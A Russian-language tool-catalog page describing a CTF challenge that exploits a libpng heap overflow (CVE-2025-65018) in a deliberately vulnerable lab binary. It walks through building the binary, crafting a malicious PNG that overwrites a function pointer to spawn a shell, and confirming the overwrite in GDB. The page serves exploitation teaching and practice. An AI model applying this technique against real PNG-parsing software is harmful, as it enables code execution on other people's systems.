Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-65018_Exploit_Challenge — CTF-задача, эксплуатирующая переполнение кучи в png_image_finish_read библиотеки libpng для перезаписи указателя на функцию и запуска оболочки, с скриптами сборки и генератором эксплойтов. | Kitploit
Инструменты/GitHubGitHub/bohemian-miser/cve-2025-65018_exploit_challenge
Анализ уязвимостейЭксплуатацияCTFОбучение и ОбразованиеЭксплуатация Бинарных ФайловЛаборатории и Практика
GitHubbohemian-miser/cve-2025-65018_exploit_challenge

CVE-2025-65018_Exploit_Challenge

CTF-задача, эксплуатирующая переполнение кучи в png_image_finish_read библиотеки libpng для перезаписи указателя на функцию и запуска оболочки, с скриптами сборки и генератором эксплойтов.

Репозиторий
12010 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-65018 CTF-челлендж: «PNG Panic»

Этот челлендж основан на реальной уязвимости переполнения буфера в libpng (конкретно, в упрощённом API png_image_finish_read при обработке 16-битных чересстрочных изображений).

🚩 Цель челленджа

Вам предоставлен уязвимый бинарный файл victim, который использует статически слинкованную уязвимую версию libpng. Приложение считывает PNG-файл с именем exploit.png в буфер.

Ваша задача — создать вредоносный PNG-файл, который вызывает переполнение кучи для перезаписи указателя на функцию в структуре Logger (расположенной непосредственно после буфера изображения), перенаправляя выполнение на функцию win() для запуска оболочки.


🛠️ Настройка и сборка

Необходимые компоненты: gcc, make, python3, git, autoconf, automake, libtool.

  1. Клонируйте репозиторий:

    git clone --recursive https://github.com/bohemian-miser/CVE-2025-65018_Exploit_Challenge.git
    cd CVE-2025-65018_Exploit_Challenge
    
  2. Соберите челлендж (включая уязвимую libpng):

    ./build.sh
    

    Этот скрипт:

    • Настроит и применит патч к включённому исходному коду libpng для включения уязвимости.
    • Соберёт статическую библиотеку libpng.
    • Скомпилирует бинарный файл victim.

🔍 Детали уязвимости

Уязвимость заключается в том, как libpng обрабатывает чересстрочные изображения при преобразовании из 16-битного входа в 8-битный выход.

  1. Несоответствие: Приложение запрашивает 8-битный выходной формат (PNG_FORMAT_RGBA). libpng выделяет буфер размером, достаточным для 8-битных данных.
  2. Ошибка: Во время обработки чересстрочных проходов (Adam7) внутренняя функция png_combine_row некорректно записывает данные, используя 16-битную глубину цвета входных данных в выходной буфер.
  3. Результат: Для каждого пикселя записывается 2 байта на канал вместо 1, что фактически удваивает ожидаемый объём данных для этой строки и вызывает переполнение кучи.

💥 Пошаговое использование уязвимости

1. Поиск целевого адреса

Бинарный файл содержит вспомогательную функцию win(), которая вызывает execl("/bin/sh", ...). Нам нужен её адрес. Поскольку бинарник скомпилирован с флагом -no-pie, адреса статичны.

nm victim | grep win
# Вывод: 00000000004013e0 T win

Целевой адрес: 0x4013e0

2. Создание полезной нагрузки (solve.py)

Нам нужно создать корректный PNG, который:

  1. Является чересстрочным (Adam7) для активации уязвимого пути кода.
  2. Имеет заголовок (IHDR), указывающий 16-битную глубину.
  3. Содержит данные пикселей, которые при записи в виде 16-битных значений образуют нашу полезную нагрузку (адрес win).

Скрипт solve.py делает следующее:

  • Создаёт изображение размером 32x32.
  • Вычисляет смещение до структуры Logger (оно составляет 4096 байт от начала буфера).
  • Помещает адрес win в данные пикселей последней строки.
  • Сжимает данные в блок IDAT.

Структура полезной нагрузки: Адрес win 0x4013e0 (Little Endian: E0 13 40 00 ...) должен быть закодирован в 16-битных RGB-пикселях.

  • Каждый 16-битный канал — 2 байта.
  • Мы сопоставляем байты адреса с красным, зелёным и синим каналам определённых пикселей последней строки.

3. Запуск эксплойта

Создайте вредоносный PNG:

python3 solve.py 4013e0

Это создаст exploit.png.

Запустите victim:

./victim

Ожидаемый вывод:

[*] Win function is at: 0x4013e0
[*] Buffer at: 0x7ffd51353530
[*] Logger at: 0x7ffd51354530
[*] Offset from buffer start to logger: 4096 bytes
[*] Processing image...
[+] png_image_finish_read success
[*] Calling logger...
[*] Hacked! Spawning shell...
$ 

🐛 Анализ в GDB

Чтобы увидеть переполнение в действии, можно использовать GDB.

1. Установите точку останова перед уязвимым вызовом:

break 62
run

2. Наблюдайте за перезаписью: Структура Logger находится на смещении 4096. Наблюдаем за целевым указателем на функцию.

print &ctx.logger.log_func
# $1 = (void (**)(const char *)) 0x7fffffffc8f0
watch *0x7fffffffc8f0
continue

3. Срабатывание: GDB остановится, когда png_combine_row запишет в указатель функции.

Hardware watchpoint 2: *0x7fffffffc8f0

Old value = 4199366  (0x4013c6 <normal_log>)
New value = 4199392  (0x4013e0 <win>)
0x00007ffff7e024d9 in __memcpy_avx_unaligned_erms ()

Это подтверждает, что libpng перезаписал наш указатель адресом win!


📁 Файлы

  • victim.c: Исходный код уязвимого приложения.
  • solve.py: Генератор эксплойта.
  • libpng-src/: Исходный код libpng (v1.6.37).
  • build.sh: Скрипт для компиляции всего.
  • Makefile: Система сборки для бинарного файла victim.
Скачать инструмент